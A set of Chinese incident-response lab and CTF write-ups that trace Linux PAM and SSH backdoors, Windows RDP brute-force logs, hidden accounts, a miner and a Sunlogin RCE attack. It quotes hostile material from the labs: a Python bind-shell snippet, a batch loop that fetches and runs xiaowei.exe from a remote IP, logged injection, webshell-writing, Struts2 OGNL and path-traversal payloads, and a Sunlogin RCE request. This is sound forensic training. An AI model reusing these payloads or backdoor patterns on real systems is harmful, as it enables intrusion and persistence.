其实在最开始看到一个so文件在家目录下面就应该敏感一点

拿去ida分析，函数不多，一个个看发现删除操作

flag{.bash_history}

10、黑客3s很执着清理痕迹，并做了一个持续删痕迹的手段，请发现手段并给出删除的完整黑客删除命令的md5，如flag

上一题找到的命令

flag{b0f531b39d88d4f603fc89bd4dd2c0aa}

11、黑客3s设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆，也不影响原来密码使用。请发现这个万能密码，提交flag格式为flag

这个也涉及到登录，继续分析之前的pam_unix.so文件，在同一个函数：

v13 = strcmp("ATMB6666", p[0]) == 0;  // 检查是否为后门密码
v8 = !v13;  // 如果密码是 "ATMB6666"，v8=0（认证成功）

后门功能：只要输入密码 ATMB6666，无论用户名是什么都会认证成功！

flag{ATMB6666}

参考文章：玄机——Linux后门应急 - 云臣 - 博客园

第二届长城杯&CISCN半决赛-应急响应

小路是一名网络安全网管，据反映发现公司主机上有异常外联信息，据回忆前段时间执行过某些更新脚本（已删除），现在需要协助小路同学进行网络安全应急响应分析，查找木马，进一步分析，寻找攻击源头，获取攻击者主机权限获取 flag 文件。

入口主机请通过 ssh 进行登录，登录口令为：ubuntu/admin_123456，如需 root 权限请使用 sudo；
第一层解压密码：5e9c5e0370a9c29816b44dfbe2ae5a8d
第二层解压密码：81c7e0d7a82ee016e304fb847c31e497

链接: https://pan.baidu.com/s/1erbJPpMlXLCHEpdmXEuvOg?pwd=q1uz 提取码: q1uz 
--来自百度网盘超级会员v7的分享

1、找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性]，并以flag{MD5}形式提交，其中MD5加密目标的原始字符串格式IP:port。

最开始想的是直接netstat -nao查看网络状态（因为不是说有周期性），答案不正确后又去看计划任务发现也是没啥东西，然后在ubuntu家目录下面发现好几个隐藏文件，查看.viminfo文件发现：

.viminfo是Vim编辑器的历史记录，可以显示用户最近编辑过的文件，通过文件内容可知编辑过/etc/systemd/system/system-upgrade.service还有/etc/netplan/01-netcfg.yaml，但是/etc/netplan/01-netcfg.yaml不存在，我们查看/etc/systemd/system/system-upgrade.service：

内核模块加载：insmod /lib/modules/.../system-upgrade.ko
- 加载内核模块 (.ko文件) 具有最高权限
- 恶意软件常用此技术实现 rootkit
非标准路径：
- /drivers/system/system-upgrade.ko 不是标准内核模块路径
- 正常内核模块在 /lib/modules/内核版本/kernel/ 的标准子目录
服务命名可疑：
- system-upgrade 听起来像系统更新，但实际加载内核模块

下载文件：

scp ubuntu@52.83.21.86:/lib/modules/5.4.0-84-generic/kernel/drivers/system/system-upgrade.ko ./

ida分析，一个个找的

一个ip两个端口，试一下就是192.168.57.20:4948

flag{59110f555b5e5cd0a8713a447b082d63}

2、找出主机上驻留的远控木马文件本体，计算该文件的MD5, 结果提交形式： flag

3、找出主机上加载远控木马的持久化程序（下载者），其功能为下载并执行远控木马，计算该文件的MD5, 结果提交形式：flag{MD5}。

就是之前发现的ko文件：

flag{78edba7cbd107eb6e3d2f90f5eca734e}

4、查找题目3中持久化程序（下载者）的植入痕迹，计算持久化程序植入时的原始名称MD5（仅计算文件名称字符串MD5），并提交对应flag{MD5}。

5、分析题目2中找到的远控木马，获取木马通信加密密钥, 结果提交形式：flag{通信加密密钥}。

Linux权限维持-后门

总结：/usr/sbin/sshd文件；PAM文件目录；ssh公钥免密登录：~/.ssh/authorized_keys；xinetd服务；py后门文件

连接信息：
root/xuanji  
ssh roo@ip  -p 222

1.找到ssh warpper后门需要修改的文件，flag在被修改的文件注释中。

什么是ssh warpper：

SSH Wrapper后门是一种通过劫持系统正常登录流程来实现隐蔽访问的恶意技术。它的核心思想是：用一个恶意的“包装器”程序来替换或拦截合法的SSH登录程序，这个包装器在验证用户身份时，除了执行正常的验证流程，还会秘密地接受一个攻击者预设的“万能密码”。

无论你输入什么用户名，只要使用了这个“万能密码”，后门都会允许你登录。而对于其他所有密码，它会将其传递给正常的SSH验证流程，因此系统上的正常用户完全不会察觉到异常。

这种后门通常通过修改系统的PAM配置或替换系统库来实现，但最经典和直接的方式是替换 ssh、ssh 或 login 等二进制文件。

目标选择：攻击者瞄准了用于远程登录的关键程序，最常见的是 /usr/sbin/sshd（SSH服务端守护进程本身）或者 /usr/bin/ssh（SSH客户端，在某些场景下也被用于某些登录流程），但更常见和隐蔽的是针对 PAM 模块。
创建“包装器”：
- 攻击者会编写一个特殊的程序，我们称之为“Wrapper”（包装器）。
- 这个程序首先会检查用户输入的密码。
- 后门逻辑：如果输入的密码等于预设的“万能密码”（例如 secret123），则无论用户名是什么，都直接授予访问权限。
- 正常逻辑：如果输入的密码不是万能密码，则将该密码和用户名传递给原始的、未被修改的SSH验证流程（比如原始的 sshd 或 PAM 模块）进行处理。
替换系统文件：
- 攻击者将原始的系统文件（如 /usr/sbin/sshd）重命名为另一个名字（如 /usr/sbin/sshd.original）。
- 然后将编译好的恶意包装器程序命名为原始系统的名字（/usr/sbin/sshd）。
- 这样一来，当系统启动SSH服务或用户尝试登录时，实际执行的是这个恶意的包装器，而不是原始程序。

通过上面的介绍可以知道最需要排查的文件就是/usr/sbin/sshd

cat /usr/sbin/sshd

这里我真服了，还以为最下面那一行不是的，还去找了半天其他的文件，结果flag就是那个

flag{E229A672E0DF4C202A248AD2E24ADAB8}

2.排查PAM后门，找到修改日期，flag格式：flag{yyyy-mm-dd}。

去目录/usr/lib/x86_64-linux-gnu/security/下面找so文件，但是没有这个目录，所以去目录/usr/lib64/security/下面找

看修改时间有几个明显不一样

lrwxrwxrwx.  1 root root   11 Feb 24  2025 pam_unix_acct.so -> pam_unix.so
lrwxrwxrwx.  1 root root   11 Feb 24  2025 pam_unix_auth.so -> pam_unix.so
lrwxrwxrwx.  1 root root   11 Feb 24  2025 pam_unix_passwd.so -> pam_unix.so
lrwxrwxrwx.  1 root root   11 Feb 24  2025 pam_unix_session.so -> pam_unix.so
-rwxr-xr-x.  1 root root 178K Feb 23  2025 pam_unix.so

当调用pam_unix_acct.so、pam_unix_auth.so等文件的时候实际上会调用pam_unix.so文件

flag{2025-02-23}

3.找到ssh公钥免密登录的所需要的重要文件，flag在被修改的文件注释中

这里偷懒直接搜关键字符串了，其实ssh公钥免密登录的文件有好几个，~/.ssh/authorized_keys是最重要的文件！存储允许登录的公钥

grep -r "flag{"

flag{xuanji}

4.找到xinetd服务对应的配置文件，flag在配置文件注释中

什么是xinetd服务：

xinetd 是一个在类Unix系统（如Linux）上运行的超级守护进程。它的名字是 eXtended InterNET Daemon 的缩写。你可以把它理解为一个 “服务的总机接线员” 或 “统一的服务管理门户”

核心配置文件：

主配置文件：/etc/xinetd.conf，主要用于设置全局默认值，所有在 /etc/xinetd.d/ 目录下的服务配置都会继承这些默认设置
服务特定配置目录：/etc/xinetd.d/，包含了由 xinetd 管理的各个具体服务的配置文件。每个文件通常以服务命名

通过上面的介绍可知有两个需要重点排查的地方，一个是/etc/xinetd.conf文件，这里去查看没有发现什么，还有一个/etc/xinetd.d/目录，到了目录下面发现也有点文件，这里也偷懒直接搜字符串了

看文件名像自定义的文件，testcn

flag{inetd?}

5.该脚本已设置开机自启，需要溯源找到后门py文件，flag在py文件中

既然说了是py文件，可以先过滤一下py文件

find ./ -type f -name "*.py"

在根目录下面找的

在前面发现有一个只在/tmp目录下，查看：

网络连接代码

server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))  # 监听所有接口的11端口
server.listen(5)

这是在开启网络服务等待连接。

反向Shell实现

proc = subprocess.Popen(["/bin/sh", "-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)

这创建了一个交互式shell，并将其输入输出重定向到网络连接。

攻击载荷特征

绑定到端口11（非标准服务端口）
提供完整的shell访问权限
无身份验证机制

flag{py+vim}

Windows

Windows应急-应急与研判训练计划一

网络连接查看端口；brim和zui工具的使用；端口被攻击的溯源方式；事件查看

服务器场景操作系统 Windows
服务器账号密码 administrator P@ssw0rd
题目来源公众号 ©州弟学安全 

任务环境说明
    这是某单位正常运行的主机，但由于安全防范意识不到位，导致系统被攻击。目前已知攻击者成功接管了系统。
    需要通过上机排查，利用开放的服务快速识别攻击者的操作、最终攻击成功的方法以及接管成功的IP。相关工具和全程流量数据已放置在桌面中。
    1. 你需要根据环境内的所有工具和文件，附件等，根据应急响应形式快速排查出攻击者的所有行为
    2. 你需要排查出攻击者最后利用成功的漏洞以及利用成功IP进行整理
    3. 你需要自己按照攻击者思路写一份攻击者大概的攻击思路或攻击流程图
    4. 你可以借助一切工具，你可以把它当作实战，这里没有任何约束条件

    注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
    应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查
开放题目
    漏洞修复

请找出攻击者攻击成功的端口，如多个端口，则从小到大{x,x,x,}
请找出攻击者上传的恶意文件名
请找出攻击者最终攻击成功的端口
请找出攻击者最终攻击成功端口的IP
请找出攻击者最后接管服务器的IP

win+R输入mstsc进行连接

查看网络连接

netstat -nao

  协议  本地地址          外部地址        状态           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       3936
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       864
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       3708
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       328
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       4664
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       4588
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       4816
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       4732
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       528
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1068
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1528
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2220
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       2524
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       636
  TCP    0.0.0.0:49670          0.0.0.0:0              LISTENING       2412
  TCP    0.0.0.0:49671          0.0.0.0:0              LISTENING       616
  TCP    10.0.10.1:139          0.0.0.0:0              LISTENING       4
  TCP    10.0.10.1:3389         116.128.229.225:59669  ESTABLISHED     328
  TCP    10.0.10.1:49914        185.199.109.153:443    SYN_SENT        1980
  TCP    10.0.10.1:49915        20.205.243.168:443     SYN_SENT        6472
  TCP    10.0.10.1:49916        20.109.210.53:443      SYN_SENT        1824
  TCP    10.0.10.1:49917        43.192.162.42:443      SYN_SENT        6420
  TCP    10.0.10.1:49918        23.218.210.69:80       SYN_SENT        280
  TCP    127.0.0.1:9000         0.0.0.0:0              LISTENING       3956
  TCP    127.0.0.1:9001         0.0.0.0:0              LISTENING       2764
  TCP    127.0.0.1:14147        0.0.0.0:0              LISTENING       3936
  TCP    [::]:21                [::]:0                 LISTENING       3936
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       864
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:3306              [::]:0                 LISTENING       3708
  TCP    [::]:3389              [::]:0                 LISTENING       328
  TCP    [::]:5357              [::]:0                 LISTENING       4
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       528
  TCP    [::]:49665             [::]:0                 LISTENING       1068
  TCP    [::]:49666             [::]:0                 LISTENING       1528
  TCP    [::]:49667             [::]:0                 LISTENING       2220
  TCP    [::]:49668             [::]:0                 LISTENING       2524
  TCP    [::]:49669             [::]:0                 LISTENING       636
  TCP    [::]:49670             [::]:0                 LISTENING       2412
  TCP    [::]:49671             [::]:0                 LISTENING       616
  TCP    [::1]:14147            [::]:0                 LISTENING       3936
  UDP    0.0.0.0:123            *:*                                    2820
  UDP    0.0.0.0:500            *:*                                    2404
  UDP    0.0.0.0:3389           *:*                                    328
  UDP    0.0.0.0:3702           *:*                                    6484
  UDP    0.0.0.0:3702           *:*                                    6484
  UDP    0.0.0.0:4500           *:*                                    2404
  UDP    0.0.0.0:5353           *:*                                    1404
  UDP    0.0.0.0:5355           *:*                                    1404
  UDP    0.0.0.0:50041          *:*                                    6484
  UDP    10.0.10.1:137          *:*                                    4
  UDP    10.0.10.1:138          *:*                                    4
  UDP    127.0.0.1:49664        *:*                                    2984
  UDP    [::]:123               *:*                                    2820
  UDP    [::]:500               *:*                                    2404
  UDP    [::]:3389              *:*                                    328
  UDP    [::]:3702              *:*                                    6484
  UDP    [::]:3702              *:*                                    6484
  UDP    [::]:4500              *:*                                    2404
  UDP    [::]:5353              *:*                                    1404
  UDP    [::]:5355              *:*                                    1404
  UDP    [::]:50042             *:*                                    6484

所有 IP（0.0.0.0）监听意味着公网暴露

0.0.0.0 意味着监听所有网卡，包括外网 IP，如果没有设置防火墙或访问控制规则，这些服务可以被全世界扫描并尝试连接。

21（FTP）：

FTP 明文传输用户名和密码，容易被抓包。
很多自动化攻击工具专门扫描此端口进行弱口令爆破。

3389（RDP，远程桌面）：

远程桌面是黑客常用的攻击目标，暴露此端口极易被爆破或利用已知漏洞（如 BlueKeep）。
日志中看到有远程 IP（116.128.229.225）已建立连接，说明 RDP 正在被使用或已被连接。

8080（常用于 Web 服务）：

虽不是默认 HTTP 端口（80），但通常运行的是一些 Web 应用（如 Tomcat），许多 Web 漏洞扫描器会主动探测该端口。
机器上有多个进程监听该端口（可能是多个应用），更易成为攻击面。

这里看题解学着用brim和zui来分析流量包

关于流量分析软件brim最新安装方法_brim安装-CSDN博客

这个博客介绍了如果安装和使用

命令过滤

count() by http, uri, status_code, method | method=="POST" | status_code==200

发现了web的登陆界面，去流量包里过滤分析

http.request.uri contains "/dede/login.php"

发现都是200成功的，所以8080被攻击

使用Zui查看rdp连接的次数及其IP地址（RDP（远程桌面协议）常用于远程管理服务器）

可以发现有两个ip，去流量包过滤

ip.src==192.168.18.133&&tcp.port==3389

这里可以发现从时间戳可见，在 不到 1 秒内发送了大量连接请求，并且多次重复出现了：

RDP Cookie: mstshash:Administrator, Negotiate Request

意味着攻击者正在尝试使用 Administrator 账号进行登录

每次 RDP 会话尝试可能使用不同密码 ⇒ 爆破特征

上图中出现的红色数据，是断开连接的请求，上面的数据都是爆破的请求，所以说它登录成功了

所以3389也被攻击成功了

过滤：

count() by _path,id.orig_h|_path=="ftp"

去流量包查看并过滤：

ip.src==192.168.18.133 && tcp.port==21

追踪流：

登陆成功：

USER admin
331 Password required for admin

PASS password
230 Logged on

所以端口21也被攻击成功了

flag{21,3389,8080}

桌面有小皮，打开查看nginx得到日志

日志里面基本都是192.168.18.133，基本可以确定攻击者就是这个

在最后访问了phpinfo但是403失败了，恶意文件应该就是newfile1.php，去找一下

这是一个 高度混淆的 PHP 后门代码片段（shellcode）

去事件查看器找登陆成功的事件，ID是4624

将事件另存为新文件，后缀为evtx

打开桌面的FullEventLogView，打开刚刚另存的文件

这里需要到高级选项中显示所有项目事件

可以发现有kali登陆成功了，所以可以知道攻击者ip就是192.168.18.133

并且在kali登陆成功后面接着还有一个事件，说明它是最后一个接管服务器的IP，攻击者最终攻击成功的端口为3389

请找出攻击者攻击成功的端口，如多个端口，则从小到大{x,x,x,}

flag{21,3389,8080}

请找出攻击者上传的恶意文件名

flag{newfile1.php}

请找出攻击者最终攻击成功的端口

flag{3389}

请找出攻击者最终攻击成功端口的IP

flag{192.168.18.133}

请找出攻击者最后接管服务器的IP

flag{192.168.18.1}

第四章-windows日志分析

总结：日志分析ip行为；事件查看器查看登陆失败、登陆成功和显式凭据登录；查看所有用户命令；D盾和注册表查看影子账号；netstat查看网络情况；注册表查看自启动；计划任务；微云沙箱

服务器场景操作系统 Windows7
服务器账号密码：winlog/winlog123
连接端口为：ip:3389
按照题目提示可以根据系统功能分析，或桌面工具进行辅助分析
注意：远控软件内IP为虚拟IP，如在进行进程中没有找到相关外连，应该是由于连接超时造成的断开了，重启环境服务器或软件即可继续对外发起请求，请见谅
注意：题目中shell如需在本地分析，提前关闭杀毒软件，会被杀掉，非免杀
注意：winlog用户在操作关于系统权限功能时，一定要使用管理员权限打开工具再去执行
如：cmd直接打开则可能无法进行操作系统权限性操作，需右击cmd-使用管理员权限打开，才可以，其它工具也如此


题目描述：
  某台Windows服务器遭到攻击者入侵，管理员查看发现存在大量rdp爆破的请求，攻击者使用了不同位置的IP(此处模拟)，进行爆破并成功，并成功进入了系统，进入系统后又做了其它危害性操作，请根据各题目完成填写
题目来源公众号  州弟学安全
文档：https://mp.weixin.qq.com/s/eJpsOeaEczcPE-uipP7vCQ
任务环境说明
    本次环境来自大赛+实战等环境，思路和灵感感谢Zeal大哥提供，基本围绕应急响应中重要的几点去排查
    环境仅供学习思路和参考，答案不重要，思路最重要
开放题目

windows远程桌面连接：mstsc

审计桌面的logs日志，定位所有扫描IP，并提交扫描次数

找到桌面的日志文件开始分析，这里用notepad++

按 Ctrl+H 打开替换对话框

在"查找内容"输入：

^.*?(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b).*?$

在"替换为"输入：

$1

选择"正则表达式"模式

点击"全部替换"，得到：

去除重复行得到：

127.0.0.1
192.168.150.1
192.168.150.60
192.168.150.33
192.168.150.67

我们要先观察哪些是黑客ip

第一个是回环地址

192.168.150.33这个·用了nmap扫描，可以确定为黑客ip

54次

192.168.150.67，很明显的一句话木马

6331次，加起来就是6385次

flag{6835}

审计相关日志，提交rdp被爆破失败次数

看远程登陆失败次数，可以去事件查看器里面筛选登陆失败的，事件id是4625，我们过滤可以看到事件数为2594

flag{2594}

审计相关日志，提交成功登录rdp的远程IP地址，多个以&连接,以从小到大顺序排序提交

这个是统计成功的，也是在事件查看器里面过滤，事件id是4624，这里我导出文件拿去桌面自带的FullEventLogView工具分析了，但是没有得到完全的ip（这里算记一种方法）

导出：

打开：

单击查看：

后来看博客说可以直接筛选4648，这个事件id代表显式凭据登录，就是输入用户名和密码进行登录，这个在远程登录的情况下非常常见

过滤一个个看

flag{192.168.150.1&192.168.150.128&192.168.150.178}

提交黑客创建的隐藏账号

命令：

wmic useraccount get Name

在 Windows 命令行（CMD）中使用 WMIC 工具查看当前系统中所有本地用户账户名的命令

我们可以看待哦有个hacker$和hackers$，其中hacker$就是黑客创建的隐藏账号，hackers$就是影子账号

flag{hacker$}

提交黑客创建的影子账号

什么是影子账号？

下面是参考文章的原话

影子用户，也叫隐藏用户，是在操作系统中存在但不会出现在常规用户管理工具中的账户。这类账户通常是为了在不被发现的情况下维持对系统的访问权限而创建的。它们不会显示在 Windows 的常规用户界面中（例如 lusrmgr.msc 或者控制面板的用户管理界面），因此更难被发现。

影子用户的作用和使用场景：

持久化后门：

黑客创建影子用户是为了在系统中建立一个持久化的后门，防止管理员发现并删除他们的恶意账户。
通过这个影子用户，黑客可以在日后继续访问系统，即使管理员已经删除了其他可见的账户。

规避检测：

因为影子用户不会出现在常规的用户列表中，使用系统的工具如 net user 或 lusrmgr.msc 时，这些账户不容易被发现。
系统管理员可能不会意识到系统中存在额外的账户，这使得黑客的行为更加隐秘。

提升权限：

影子用户通常具有管理员权限，黑客可以利用这些账户在系统中执行各种高级操作，如安装恶意软件、窃取数据或篡改系统配置。
避免被删除：

一些影子用户可能被设计为在常规清理过程中不被删除，或者重新创建，即使管理员尝试清除恶意账户，这种隐藏用户依然会存在。

如何创建影子用户：

黑客可以通过多种方式创建影子用户，通常包括：

修改注册表：通过编辑注册表中的特定键，隐藏某些用户账户。
操作系统命令：使用命令行创建具有管理员权限的隐藏用户，并设置相关策略使其不显示在登录界面或用户管理工具中。
篡改系统文件：修改系统文件或 DLL 文件，使得账户管理工具不显示某些账户。

影子用户的风险：

隐蔽性强：影子用户在常规用户管理工具中不可见，这使得它们的存在不容易被察觉。
持久性威胁：如果影子用户未被检测到，黑客可以长期保持对系统的访问权，并进行进一步的攻击操作。
难以清除：在影子用户不被发现的情况下，系统很难完全移除恶意攻击者的后门。

总结：

影子用户是黑客常用的持久化后门技术，利用它可以在系统中长期隐匿存在，从而规避检测并维持对系统的访问权限。对于管理员来说，检测并清理影子用户至关重要，需要借助更高级别的分析工具，例如查看注册表或分析事件日志，才能发现这些隐藏的账户。

上一题得到的影子账号看博客说是非预期解

这里可以用d盾里面的克隆检测来查看黑客创建的账号和影子账号

还有就是查看注册表位置：HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

提交远程shell程序的连接IP+端口，以IP:port方式提交

查看网络情况

netstat -nao

这里预期会显示可疑的ip，看博客说除了这个也可以通过计划任务来找，通过看计划任务来找有没有可疑的shell然后丢到沙箱去分析ip

去计划任务看看

有一个下载的，下载的程序叫做xiaowei.exxe，通过后缀也可以判断出这个是为了防止被查杀，我们去找一下在哪里，注意搜的时候后缀是exe

找到了，我们保存一下拿去沙箱，察看网络行为

可以知道ip和端口是

flag{185.117.118.21:4444}

还有一种方法就是去注册表找自启动

自启动目录：

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

里面也会显示下载的程序

黑客植入了一个远程shell，审计相关进程和自启动项提交该程序名字

根据上一题就知道是xiaowei.exe了

flag{xiaowei.exe}

黑客使用了计划任务来定时执行某shell程序，提交此程序名字

这里说的应该就是之前我们在计划任务里面看到的那个下载任务，我们再返回去看

点击操作

可以看到路径

我们找到它查看

@echo off
:loop
echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
timeout /t 300 /nobreak >nul
goto loop

博客原话：

简单分析一下；

这段批处理脚本(.bat 文件)是一个自动循环的任务，用于定期从特定的服务器下载一个名为 xiaowei.exe 的文件。脚本通过 Invoke-WebRequest 命令从远程 IP 地址 185.117.118.21 的指定端口 1111 上获取文件，并将其保存到本地的指定目录。

详细分析：

@echo off

隐藏命令行输出，防止命令的内容显示在控制台中，保持界面的整洁。

:loop

这是一个标签，标记了脚本循环的开始位置。goto 命令会跳转到该标签，从而形成一个循环。

echo Requesting download from 185.117.118.21:1111/xiaowei.exe...

每次循环开始时，显示一条信息，告知正在请求从指定的远程 IP 下载文件。

start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
    使用 PowerShell 的 Invoke-WebRequest 命令从远程服务器下载文件：
        http://185.117.118.21:1111/xiaowei.exe 是文件的下载 URL。
        C:\Windows\system64\systemWo\xiaowei.exe 是文件保存到本地的路径。
    start /b 会在后台运行该命令，避免阻塞脚本的执行。

timeout /t 300 /nobreak >nul

设置脚本等待 300 秒（5 分钟），在此期间不会中断。>nul 表示抑制命令的输出，不显示倒计时。

goto loop

命令将脚本跳回到 :loop 标签处，重新执行下载请求，形成一个无限循环。

总结：

这个脚本定期（每 5 分钟）尝试从远程服务器 185.117.118.21 的端口 1111 下载一个名为 xiaowei.exe 的文件，并将其保存到本地的 C:\Windows\system64\systemWo\ 目录中。

flag{download.bat}

参考文章：玄机——第四章-windows日志分析 wp-CSDN博客

第四章 windows实战-emlog

总结：phpstudy日志分析；隐藏用户；挖矿程序查找

服务器场景操作系统 Windows
服务器账号密码 administrator xj@123456
题目来源公众号 知攻善防实验室 
https://mp.weixin.qq.com/s/89IS3jPePjBHFKPXnGmKfA
任务环境说明
    注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
    应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查
开放题目
    漏洞修复
参考
https://mp.weixin.qq.com/s/1gebC1OkDgtz4k4YtN10dg

通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码作为 FLAG 提交;

桌面有小皮，我们进去查看日志

可以发现有一个ip一直在上传shell.php文件，我们去相对应的目录下面查看

小皮的文件目录是www

发现shell和密码

flag{rebeyond}

通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

这个通过上一题的日志也能够知道就是一直上传文件的那个

flag{192.168.126.1}

通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交;

这个直接用通用命令：

wmic useraccount get Name

可以发现有一个hacker138

flag{hacker138}

通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交;

既然知道了黑客用户，我们去对应的用户目录下面查看，发现挖矿程序

图标是用pyinstaller打包，使用pyinstxtractor进行反编译

得到的pyc文件再拿去反编译

矿池域名是wakuang.zhigongshanfang.top

flag{wakuang.zhigongshanfang.top}

第四章 windows实战-向日葵

总结：日志分析；向日葵CVE-2022-10270漏洞；RSA解密；AES解密

第四章 windows实战
Administrator xj@123456

通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为为多少,将黑客首次攻击成功的时间为作为 FLAG 提交(2028-03-26 08:11:25.123);

桌面有向日葵，并且根据题目可以知道就是分析这个，直接到目录下面的日志进行查看

在日志下面翻一点点就可以发现可疑之处

我们看一小部分

1、路径遍历攻击（Directory Traversal）：

/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

尝试利用 ../ 跳转目录，访问系统文件（如 /bin/sh）

2、尝试通过参数注入 SQL 语句：

/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5(204167822),5,6,7,8,9%23

解码后是

錦' a<>nd 1=2 un<>ion sel<>ect 1,2,3,md5(204167822),5,6,7,8,9#

攻击者试图绕过过滤，执行 UNION SELECT 查询

3、尝试执行系统命令：

/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd%20>../../Test.txt

攻击者试图读取 /etc/passwd（Linux 用户信息）并写入文件

4、尝试写入 PHP WebShell：

/manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5(oecttifkhu);unlink(__FILE__);?>">../../oecttifkhu.php

echo "<?php echo md5(oecttifkhu);unlink(__FILE__);?>" > ../../oecttifkhu.php

其他漏洞探测

JBoss 漏洞：
```
/jbossmq-httpil/HTTPServerILServlet
```
Nacos 未授权访问：
```
/nacos/
```
Druid 未授权访问
```
/druid/indexer/v1/sampler?for=connect
```

Apache Struts2 漏洞：

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

解码后是 Struts2 OGNL 表达式注入（可执行任意命令）。

这里看题解是这部分

博客原文：

/pages/createpage-entervariables.action?SpaceKey=x:

描述：这个请求看起来像是针对某个网页应用框架的攻击尝试，可能是针对 Confluence 的命令注入。
参数：
SpaceKey=x：攻击者尝试通过设置某个参数来利用该漏洞。
目标：通过设置不安全的参数值，可能会导致服务器执行恶意代码或命令。
/CFIDE/administrator/enter.cfm?locale=…/…/…/…/…/…/…/lib/password.properties%00en:

描述：这是一个目录遍历攻击，它试图通过操纵路径来访问敏感文件。
参数：
locale=../../../../../../../lib/password.properties%00en：攻击者使用了目录遍历 (../../../../../../../) 和空字符 (%00) 来访问本不应公开的 password.properties 文件。
目标：读取或修改配置文件，可能包含敏感信息如密码。
/mailsms/s?func=ADMIN

&dumpConfig=/:

描述：这个请求试图利用一个功能（可能是一个管理功能）来获取系统配置信息。
参数：
func=ADMIN:appState&dumpConfig=/：这个参数组合看起来像是试图调用一个管理命令 (ADMIN:appState) 并将配置信息导出。

三个URL分析下来发现是尝试在利用CNVD-2022-10207：向日葵远程控制软件 RCE 漏洞

向日葵远程控制软件（Sunlogin）的 RCE（远程代码执行）漏洞 是指攻击者能够通过构造恶意请求，在目标系统上执行任意命令的高危漏洞。这类漏洞通常由 身份认证绕过、反序列化缺陷 或 接口未授权访问 引发。

CVE-2022-10270（最经典漏洞）

漏洞类型：未授权访问 + 命令注入
影响版本：向日葵个人版 ≤ 11.0.0.33（2022年3月前版本）
攻击原理：
- 向日葵默认开放 49724 端口，其 /cgi-bin/rpc 接口的 action=verify-haras 参数存在认证绕过。
- 攻击者可构造恶意请求直接执行系统命令，例如：
```
http://目标IP:49724/cgi-bin/rpc?action=verify-haras&command=whoami
```
- 漏洞利用工具（如 SunloginRCE）可自动化攻击。

开头这一部分没有发现黑客攻击成功，只是尝试利用，我们继续往下面翻，在快结尾的地方发现了

2024-03-26 10:16:25.585	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, version: HTTP/1.1
2024-03-26 10:16:25.585	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, plugin:check, session:dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3

